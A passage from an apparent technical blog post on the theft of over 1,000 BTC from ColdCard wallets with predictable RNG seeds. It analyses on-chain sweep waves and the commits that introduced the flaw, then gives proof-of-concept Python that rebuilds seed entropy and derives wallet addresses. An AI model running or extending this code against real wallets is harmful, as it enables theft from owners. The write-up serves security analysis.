<p>A concrete example: transaction <a href="https://mempool.space/tx/78ac8968ccf5a586d2fb9509f5af13f41e0a288bfa0f0b177d4e4b6bbebad05d"target="_blank" rel="noopener"><code>78ac8968ccf5a586d2fb9509f5af13f41e0a288bfa0f0b177d4e4b6bbebad05d</code></a> consolidates three inputs from the same vulnerable address <a href="https://mempool.space/address/bc1qe85jr4em79p66fsszkvfhwjf6p6qst58a2ahlr"target="_blank" rel="noopener"><code>bc1qe85jr4em79p66fsszkvfhwjf6p6qst58a2ahlr</code></a>, one of them almost <strong>29.9 BTC</strong>. All three inputs use the same compressed public key:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><pre><code>037dc5356b71d0209d5d97315450166c07e7bba67d2e53c0154f5c56eb06f6970e</code></pre></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>So three different UTXOs, same owner, same private key. The attacker found that key and signed all of them at once.</p>
<p>Other source addresses with large values include <a href="https://mempool.space/address/bc1qvshd3nv6mjjs5wtk6x5ekppakdp2trqcsdvwlf"target="_blank" rel="noopener"><code>bc1qvshd3nv6mjjs5wtk6x5ekppakdp2trqcsdvwlf</code></a> (~24.08 BTC), <a href="https://mempool.space/address/bc1q30363smzw6uk5n2znj65mf9432s0e3d92e3fu5"target="_blank" rel="noopener"><code>bc1q30363smzw6uk5n2znj65mf9432s0e3d92e3fu5</code></a> (~14.43 BTC), and <a href="https://mempool.space/address/bc1qgzxfgqgvnle9p6kksk35t54ycu2tx2hwau5ppw"target="_blank" rel="noopener"><code>bc1qgzxfgqgvnle9p6kksk35t54ycu2tx2hwau5ppw</code></a> (~11.74 BTC). You can click each one and watch the UTXOs move to a consolidation address.</p>
<p>Bitcoin Optech <a href="https://bitcoinops.org/en/newsletters/2026/07/31/#wallets-generated-by-coldcard-at-risk-of-theft"target="_blank" rel="noopener">issue 416</a> estimated losses above 1,000 BTC while the case was still unfolding; the independent tracker now confirms <strong>at least 1,128.6633 BTC stolen</strong>.</p>
<h2>What the blockchain timeline suggests about attack order<span class="hx:absolute hx:-mt-20" id="what-the-blockchain-timeline-suggests-about-attack-order"></span>
    <a href="#what-the-blockchain-timeline-suggests-about-attack-order" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p><a href="https://coldcard-watch.vercel.app/"target="_blank" rel="noopener">coldcard-watch</a> shows <strong>two distinct episodes</strong>, separated by more than 24 hours. The first happened between blocks 960183 and 960191 (July 30, around 01:10 UTC); the second between 960345 and 960369 (July 31). Within the first episode, the three large clusters (~594, ~398, and ~89 BTC) were mined in consecutive blocks — so within each wave, the sweeps were launched almost simultaneously.</p>
<p>This two-wave pattern fits two interpretations:</p>
<ol>
<li><strong>Same attacker, pre-computed in batches.</strong> The first wave grabs the easiest, best-funded targets; the second wave comes from a second batch of already pre-computed candidates.</li>
<li><strong>Multiple attackers.</strong> After the flaw became public, other actors joined with their own dictionaries of likely states.</li>
</ol>
<p>Either way, the economics of the attack favor the order in the table above. Mk2/Mk3 v4 is the best return on compute:</p>
<ul>
<li><strong>~40 bits of effective entropy</strong> ≈ 2^40 ≈ <strong>1.1 trillion</strong> candidate states.</li>
<li>On a GPU testing 1 million candidates per second (including BIP32 derivation and explorer lookup), that would take about <strong>13 days</strong> to search exhaustively. With 100 GPUs/FPGAs, it drops to <strong>a few hours</strong>.</li>
<li>Because Mk2/Mk3 RTC values likely start at zero or a static value on cold boot, as <a href="https://engineering.block.xyz/blog/predictable-rng-fallback-and-32-bit-reseed-in-coldcard-firmware"target="_blank" rel="noopener">Block</a> points out, SysTick alone shrinks the space to ~80,000 values (~16 bits), making the search trivial in seconds.</li>
</ul>
<p>Mk4/Q/Mk5 with reseed depends on how well the fallback is known:</p>
<ul>
<li>If the fallback is known, only the <strong>32 bits</strong> from the secure element remain: 2^32 ≈ <strong>4.3 billion</strong> candidates per device, or about <strong>1.2 hours</strong> per device at 1 million/s.</li>
<li>If the fallback is completely unknown, the space rises to ~2^72, about <strong>4.7 sextillion</strong> candidates — infeasible by brute force alone.</li>
</ul>
<p>That is why the first wave should be dominated by Mk3. The second wave, more than a day later, may include additional batches of the same model or harder models where the attacker managed to profile the fallback. Without identifying the model behind each address, we cannot say for sure, but the difficulty order is clear.</p>
<p>The speed also shows the attack did not start from scratch on July 30. To search 1.1 trillion states and find hundreds of funded addresses, the attacker already had infrastructure ready or spent days or weeks pre-computing before moving the first UTXOs.</p>
<h2>What the chain reveals about the operation<span class="hx:absolute hx:-mt-20" id="what-the-chain-reveals-about-the-operation"></span>
    <a href="#what-the-chain-reveals-about-the-operation" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p><a href="https://coldcard-hack.up.railway.app/"target="_blank" rel="noopener">coldcard-hack.up.railway.app</a> analyzes in detail the three waves that emptied 1,082.59 BTC in <strong>41 minutes</strong> (blocks 960183 to 960191). Although the site warns it was compiled by an AI agent and not human-reviewed, the blockchain data is verifiable:</p>
<table>
  <thead>
      <tr>
          <th>Wave</th>
          <th>Block(s)</th>
          <th>BTC</th>
          <th>Addresses</th>
          <th>Note</th>
      </tr>
  </thead>
  <tbody>
      <tr>
          <td>1</td>
          <td>960183</td>
          <td>~89.62</td>
          <td>204</td>
          <td>Took everything, including dust below the fee value.</td>
      </tr>
      <tr>
          <td>2</td>
          <td>960185</td>
          <td>~398.49</td>
          <td>491</td>
          <td>Densest burst; left balances below ~0.108 BTC.</td>
      </tr>
      <tr>
          <td>3</td>
          <td>960188–960191</td>
          <td>~594.48</td>
          <td>500</td>
          <td>The wave the press reported; started 3.5 minutes after wave 2.</td>
      </tr>
  </tbody>
</table>
<p>Notable details:</p>
<ul>
<li><strong>Sorted by balance:</strong> within each wave, transactions were ordered from largest to smallest balance. That is not an accident; it is a priority queue configured in the script.</li>
<li><strong>Identical shape:</strong> all 1,195 sweeps spend every UTXO from a single source address into a single output, with no change. No manual variation.</li>
<li><strong>Uniform fee rate:</strong> median of 30.136986 sat/vB across all waves — the same script choosing the fee.</li>
<li><strong>Address types:</strong> 1,182 were native SegWit (<code>v0_p2wpkh</code>), 7 P2SH-wrapped, and 6 legacy. So the attack was not limited to BIP84, although most ColdCard users hold bech32.</li>
<li><strong>Funds still sitting:</strong> when the site froze its data, the ~1,082 BTC were still in the vaults, with no mixing, no peel chain, and no subsequent movement.</li>
</ul>
<p>All of this points to a single automated operation, not 1,195 independent thefts.</p>
<h2>How this slipped through<span class="hx:absolute hx:-mt-20" id="how-this-slipped-through"></span>
    <a href="#how-this-slipped-through" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>The same <a href="https://coldcard-hack.up.railway.app/"target="_blank" rel="noopener">coldcard-hack.up.railway.app</a> maps the commits that introduced the bug. The most damning facts:</p>
<ul>
<li>The commit that added the wrong <code>#ifndef</code> guard in <code>libngu</code> had a <strong>one-character message</strong>, changed 28 files, and <strong>did not go through a pull request</strong>.</li>
<li>The <code>First pass w/ libNgU</code> commit, which migrated seed generation to libngu and stripped GPL code, changed <strong>120 files</strong> and was also pushed directly, with no PR.</li>
<li>The two later commits that added the 32-bit reseed and the secure-element mixing did open pull requests, but <strong>merged with zero reviews</strong>.</li>
</ul>
<p>A critical change in the entropy-generation path went through without end-to-end review. The correct TRNG existed in the binary; the problem was that the wrong symbol got linked, and nobody wrote a test proving where the seed actually came from.</p>
<h2>The conceptual attack flow<span class="hx:absolute hx:-mt-20" id="the-conceptual-attack-flow"></span>
    <a href="#the-conceptual-attack-flow" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>Before the code, the general flow:</p>
<ol>
<li><strong>Reproduce the RNG.</strong> The attacker implements Yasmarang exactly as in the firmware, including the XOR with the second Yasmarang in <code>libNgU</code>.</li>
<li><strong>Enumerate plausible states.</strong> For every combination of UID, SysTick, RTC, and — on newer models — secure-element reseed, they generate the 32 bytes that the ColdCard would have produced as entropy.</li>
<li><strong>Derive the wallet.</strong> From that entropy, compute the BIP39 mnemonic, the BIP32 seed, and the first receiving and change addresses.</li>
<li><strong>Query the blockchain.</strong> For each derived address, ask an explorer or a local node whether a UTXO exists.</li>
<li><strong>Stop at the match.</strong> When a derived address matches an address with balance, the attacker already has the corresponding private key.</li>
<li><strong>Spend.</strong> With the private key, build a transaction that moves the UTXO to an address they control.</li>
</ol>
<p>The blockchain is the oracle. Without it, the attacker would not know which state produced real money. With it, every UTXO found confirms they guessed the key.</p>
<h2>Proof-of-concept code<span class="hx:absolute hx:-mt-20" id="proof-of-concept-code"></span>
    <a href="#proof-of-concept-code" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>The script below is didactic. It is not GPU-optimized, does not run in seconds against 40 bits, and does not handle every firmware variation. What it does is make the attack readable, function by function.</p>
<h3>1. The broken PRNG: Yasmarang<span class="hx:absolute hx:-mt-20" id="1-the-broken-prng-yasmarang"></span>
    <a href="#1-the-broken-prng-yasmarang" class="subheading-anchor" aria-label="Permalink for this section"></a></h3><div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="k">def</span> <span class="nf">yasmarang_step</span><span class="p">(</span><span class="n">state</span><span class="p">):</span>
</span></span><span class="line"><span class="cl">    <span class="s2">&#34;&#34;&#34;state = [pad, n, d, dat]; mutates the list and returns a uint32.&#34;&#34;&#34;</span>
</span></span><span class="line"><span class="cl">    <span class="n">pad</span><span class="p">,</span> <span class="n">n</span><span class="p">,</span> <span class="n">d</span><span class="p">,</span> <span class="n">dat</span> <span class="o">=</span> <span class="n">state</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="n">pad</span> <span class="o">=</span> <span class="p">(</span><span class="n">pad</span> <span class="o">+</span> <span class="n">dat</span> <span class="o">+</span> <span class="n">d</span> <span class="o">*</span> <span class="n">n</span><span class="p">)</span> <span class="o">&amp;</span> <span class="mh">0xFFFFFFFF</span>
</span></span><span class="line"><span class="cl">    <span class="n">pad</span> <span class="o">=</span> <span class="p">((</span><span class="n">pad</span> <span class="o">&lt;&lt;</span> <span class="mi">3</span><span class="p">)</span> <span class="o">|</span> <span class="p">(</span><span class="n">pad</span> <span class="o">&gt;&gt;</span> <span class="mi">29</span><span class="p">))</span> <span class="o">&amp;</span> <span class="mh">0xFFFFFFFF</span>
</span></span><span class="line"><span class="cl">    <span class="n">n</span> <span class="o">=</span> <span class="n">pad</span> <span class="o">|</span> <span class="mi">2</span>
</span></span><span class="line"><span class="cl">    <span class="n">d</span> <span class="o">=</span> <span class="p">(</span><span class="n">d</span> <span class="o">^</span> <span class="p">((</span><span class="n">pad</span> <span class="o">&lt;&lt;</span> <span class="mi">31</span><span class="p">)</span> <span class="o">|</span> <span class="p">(</span><span class="n">pad</span> <span class="o">&gt;&gt;</span> <span class="mi">1</span><span class="p">)))</span> <span class="o">&amp;</span> <span class="mh">0xFFFFFFFF</span>
</span></span><span class="line"><span class="cl">    <span class="n">dat</span> <span class="o">=</span> <span class="p">(</span><span class="n">dat</span> <span class="o">^</span> <span class="p">(</span><span class="n">pad</span> <span class="o">&amp;</span> <span class="mh">0xFF</span><span class="p">)</span> <span class="o">^</span> <span class="p">((</span><span class="n">d</span> <span class="o">&gt;&gt;</span> <span class="mi">8</span><span class="p">)</span> <span class="o">&amp;</span> <span class="mh">0xFF</span><span class="p">)</span> <span class="o">^</span> <span class="mi">1</span><span class="p">)</span> <span class="o">&amp;</span> <span class="mh">0xFF</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="n">out</span> <span class="o">=</span> <span class="p">(</span><span class="n">pad</span>
</span></span><span class="line"><span class="cl">           <span class="o">^</span> <span class="p">((</span><span class="n">d</span> <span class="o">&lt;&lt;</span> <span class="mi">5</span><span class="p">)</span> <span class="o">&amp;</span> <span class="mh">0xFFFFFFFF</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">           <span class="o">^</span> <span class="p">(</span><span class="n">pad</span> <span class="o">&gt;&gt;</span> <span class="mi">18</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">           <span class="o">^</span> <span class="p">((</span><span class="n">dat</span> <span class="o">&lt;&lt;</span> <span class="mi">1</span><span class="p">)</span> <span class="o">&amp;</span> <span class="mh">0xFFFFFFFF</span><span class="p">))</span> <span class="o">&amp;</span> <span class="mh">0xFFFFFFFF</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="n">state</span><span class="p">[:]</span> <span class="o">=</span> <span class="p">[</span><span class="n">pad</span><span class="p">,</span> <span class="n">n</span><span class="p">,</span> <span class="n">d</span><span class="p">,</span> <span class="n">dat</span><span class="p">]</span>
</span></span><span class="line"><span class="cl">    <span class="k">return</span> <span class="n">out</span></span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p><strong>What it does:</strong> implements the deterministic generator that was in the firmware. It is the same function anyone can copy from the <a href="https://raw.githubusercontent.com/micropython/micropython/master/ports/stm32/rng.c"target="_blank" rel="noopener">MicroPython source</a>.</p>
<p><strong>State example:</strong></p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="o">&gt;&gt;&gt;</span> <span class="n">s</span> <span class="o">=</span> <span class="p">[</span><span class="mh">0x0A8CE26F</span><span class="p">,</span> <span class="mi">69</span><span class="p">,</span> <span class="mi">233</span><span class="p">,</span> <span class="mi">0</span><span class="p">]</span>
</span></span><span class="line"><span class="cl"><span class="o">&gt;&gt;&gt;</span> <span class="p">[</span><span class="nb">hex</span><span class="p">(</span><span class="n">yasmarang_step</span><span class="p">(</span><span class="n">s</span><span class="p">))</span> <span class="k">for</span> <span class="n">_</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mi">3</span><span class="p">)]</span>
</span></span><span class="line"><span class="cl"><span class="p">[</span><span class="s1">&#39;0x12f99f10&#39;</span><span class="p">,</span> <span class="s1">&#39;0x1e0841df&#39;</span><span class="p">,</span> <span class="s1">&#39;0x8f794c6c&#39;</span><span class="p">]</span></span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<h3>2. From RNG state to ColdCard entropy<span class="hx:absolute hx:-mt-20" id="2-from-rng-state-to-coldcard-entropy"></span>
    <a href="#2-from-rng-state-to-coldcard-entropy" class="subheading-anchor" aria-label="Permalink for this section"></a></h3><div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="k">def</span> <span class="nf">coldcard_entropy</span><span class="p">(</span><span class="n">uid_low32</span><span class="p">,</span> <span class="n">systick</span><span class="p">,</span> <span class="n">rtc_tr</span><span class="p">,</span> <span class="n">rtc_ssr</span><span class="p">,</span> <span class="n">reseed</span><span class="o">=</span><span class="kc">None</span><span class="p">):</span>
</span></span><span class="line"><span class="cl">    <span class="s2">&#34;&#34;&#34;
</span></span></span><span class="line"><span class="cl"><span class="s2">    Simulates what the ColdCard did to generate the 32 entropy bytes.
</span></span></span><span class="line"><span class="cl"><span class="s2">
</span></span></span><span class="line"><span class="cl"><span class="s2">    - MicroPython initializes its Yasmarang with:
</span></span></span><span class="line"><span class="cl"><span class="s2">        pad = UID_low32 ^ SysTick-&gt;VAL
</span></span></span><span class="line"><span class="cl"><span class="s2">        n   = RTC-&gt;TR
</span></span></span><span class="line"><span class="cl"><span class="s2">        d   = RTC-&gt;SSR
</span></span></span><span class="line"><span class="cl"><span class="s2">    - libNgU keeps a second Yasmarang with public constants.
</span></span></span><span class="line"><span class="cl"><span class="s2">    - Each 32-bit word is: chip ^ my_yasmarang().
</span></span></span><span class="line"><span class="cl"><span class="s2">    - On Mk4/Q/Mk5, reseed changes the libNgU &#39;pad&#39; state.
</span></span></span><span class="line"><span class="cl"><span class="s2">    &#34;&#34;&#34;</span>
</span></span><span class="line"><span class="cl">    <span class="n">mpy_state</span> <span class="o">=</span> <span class="p">[</span><span class="n">uid_low32</span> <span class="o">^</span> <span class="n">systick</span><span class="p">,</span> <span class="n">rtc_tr</span><span class="p">,</span> <span class="n">rtc_ssr</span><span class="p">,</span> <span class="mi">0</span><span class="p">]</span>
</span></span><span class="line"><span class="cl">    <span class="n">libngu_state</span> <span class="o">=</span> <span class="p">[</span><span class="mh">0x0A8CE26F</span><span class="p">,</span> <span class="mi">69</span><span class="p">,</span> <span class="mi">233</span><span class="p">,</span> <span class="mi">0</span><span class="p">]</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="k">if</span> <span class="n">reseed</span> <span class="ow">is</span> <span class="ow">not</span> <span class="kc">None</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">        <span class="c1"># reseed() in the firmware only overwrites yasmarang_pad</span>
</span></span><span class="line"><span class="cl">        <span class="n">libngu_state</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span> <span class="o">=</span> <span class="n">reseed</span> <span class="o">&amp;</span> <span class="mh">0xFFFFFFFF</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="c1"># The ColdCard may make extra calls before generating the seed (health</span>
</span></span><span class="line"><span class="cl">    <span class="c1"># check, etc.). In practice the attacker models the exact call history.</span>
</span></span><span class="line"><span class="cl">    <span class="c1"># Here we simplify to 8 words = 32 bytes.</span>
</span></span><span class="line"><span class="cl">    <span class="n">words</span> <span class="o">=</span> <span class="p">[]</span>
</span></span><span class="line"><span class="cl">    <span class="k">for</span> <span class="n">_</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mi">8</span><span class="p">):</span>
</span></span><span class="line"><span class="cl">        <span class="n">chip</span> <span class="o">=</span> <span class="n">yasmarang_step</span><span class="p">(</span><span class="n">mpy_state</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">        <span class="n">mix</span> <span class="o">=</span> <span class="n">chip</span> <span class="o">^</span> <span class="n">yasmarang_step</span><span class="p">(</span><span class="n">libngu_state</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">        <span class="n">words</span><span class="o">.</span><span class="n">append</span><span class="p">(</span><span class="n">struct</span><span class="o">.</span><span class="n">pack</span><span class="p">(</span><span class="s2">&#34;&lt;I&#34;</span><span class="p">,</span> <span class="n">mix</span><span class="p">))</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="k">return</span> <span class="sa">b</span><span class="s2">&#34;&#34;</span><span class="o">.</span><span class="n">join</span><span class="p">(</span><span class="n">words</span><span class="p">)</span></span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p><strong>What it does:</strong> builds the initial state. The MicroPython <code>pad</code> is <code>UID_low32 ^ SysTick</code>; <code>n</code> and <code>d</code> come from the RTC. <code>libNgU</code> enters with public constants. Each word is the XOR of the two. That XOR does not create randomness: if both sides are reproducible, so is the result.</p>
<p><strong>Example:</strong></p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-text" data-lang="text"><span class="line"><span class="cl">&gt;&gt;&gt; coldcard_entropy(0xDEADBEEF, 12345, 0x123456, 78).hex()
</span></span><span class="line"><span class="cl">&#39;3013f52faaef2a65c47fee63c83e9773d505bd05e4b2b43f56bb8c60ecc66f66&#39;</span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<h3>3. From entropy to a Bitcoin address<span class="hx:absolute hx:-mt-20" id="3-from-entropy-to-a-bitcoin-address"></span>
    <a href="#3-from-entropy-to-a-bitcoin-address" class="subheading-anchor" aria-label="Permalink for this section"></a></h3><div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="k">def</span> <span class="nf">first_addresses</span><span class="p">(</span><span class="n">entropy_bytes</span><span class="p">,</span> <span class="n">account</span><span class="o">=</span><span class="mi">0</span><span class="p">):</span>
</span></span><span class="line"><span class="cl">    <span class="s2">&#34;&#34;&#34;
</span></span></span><span class="line"><span class="cl"><span class="s2">    Given the raw entropy, generate the BIP39 mnemonic, the BIP32 seed,
</span></span></span><span class="line"><span class="cl"><span class="s2">    and the first native SegWit receiving and change addresses.
</span></span></span><span class="line"><span class="cl"><span class="s2">    &#34;&#34;&#34;</span>
</span></span><span class="line"><span class="cl">    <span class="n">mnemonic</span> <span class="o">=</span> <span class="n">mnemonic_from_bytes</span><span class="p">(</span><span class="n">entropy_bytes</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="n">seed</span> <span class="o">=</span> <span class="n">mnemonic_to_seed</span><span class="p">(</span><span class="n">mnemonic</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="n">root</span> <span class="o">=</span> <span class="n">HDKey</span><span class="o">.</span><span class="n">from_seed</span><span class="p">(</span><span class="n">seed</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="n">addrs</span> <span class="o">=</span> <span class="p">{</span><span class="s2">&#34;mnemonic&#34;</span><span class="p">:</span> <span class="n">mnemonic</span><span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="k">for</span> <span class="n">change</span> <span class="ow">in</span> <span class="p">[</span><span class="mi">0</span><span class="p">,</span> <span class="mi">1</span><span class="p">]:</span>
</span></span><span class="line"><span class="cl">        <span class="k">for</span> <span class="n">idx</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mi">5</span><span class="p">):</span>
</span></span><span class="line"><span class="cl">            <span class="n">path</span> <span class="o">=</span> <span class="sa">f</span><span class="s2">&#34;m/84&#39;/0&#39;/</span><span class="si">{</span><span class="n">account</span><span class="si">}</span><span class="s2">&#39;/</span><span class="si">{</span><span class="n">change</span><span class="si">}</span><span class="s2">/</span><span class="si">{</span><span class="n">idx</span><span class="si">}</span><span class="s2">&#34;</span>
</span></span><span class="line"><span class="cl">            <span class="n">key</span> <span class="o">=</span> <span class="n">root</span><span class="o">.</span><span class="n">derive</span><span class="p">(</span><span class="n">path</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">            <span class="n">addr</span> <span class="o">=</span> <span class="n">p2wpkh</span><span class="p">(</span><span class="n">key</span><span class="o">.</span><span class="n">key</span><span class="o">.</span><span class="n">get_public_key</span><span class="p">())</span><span class="o">.</span><span class="n">address</span><span class="p">()</span>
</span></span><span class="line"><span class="cl">            <span class="n">label</span> <span class="o">=</span> <span class="s2">&#34;receive&#34;</span> <span class="k">if</span> <span class="n">change</span> <span class="o">==</span> <span class="mi">0</span> <span class="k">else</span> <span class="s2">&#34;change&#34;</span>
</span></span><span class="line"><span class="cl">            <span class="n">addrs</span><span class="o">.</span><span class="n">setdefault</span><span class="p">(</span><span class="n">label</span><span class="p">,</span> <span class="p">[])</span><span class="o">.</span><span class="n">append</span><span class="p">(</span><span class="n">addr</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="k">return</span> <span class="n">addrs</span></span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p><strong>What it does:</strong> takes the 32 bytes, turns them into 24 BIP39 words, computes the seed, opens the BIP32 tree, and derives the addresses. In practice the attacker tests dozens or hundreds of indexes and also other accounts.</p>
<p><strong>Example:</strong></p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-text" data-lang="text"><span class="line"><span class="cl">&gt;&gt;&gt; cand = first_addresses(coldcard_entropy(0xDEADBEEF, 12345, 0x123456, 78))
</span></span><span class="line"><span class="cl">&gt;&gt;&gt; cand[&#34;mnemonic&#34;]
</span></span><span class="line"><span class="cl">&#39;copy panic episode fiction verify cream ball worry glow draft place tray expect teach bleak north reflect wide puzzle boat attract glimpse rural setup&#39;
</span></span><span class="line"><span class="cl">&gt;&gt;&gt; cand[&#34;receive&#34;][0]
</span></span><span class="line"><span class="cl">&#39;bc1qc3rmdj3ln6n05awxwetg0gz8e2aw0lzyxmaecp&#39;</span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
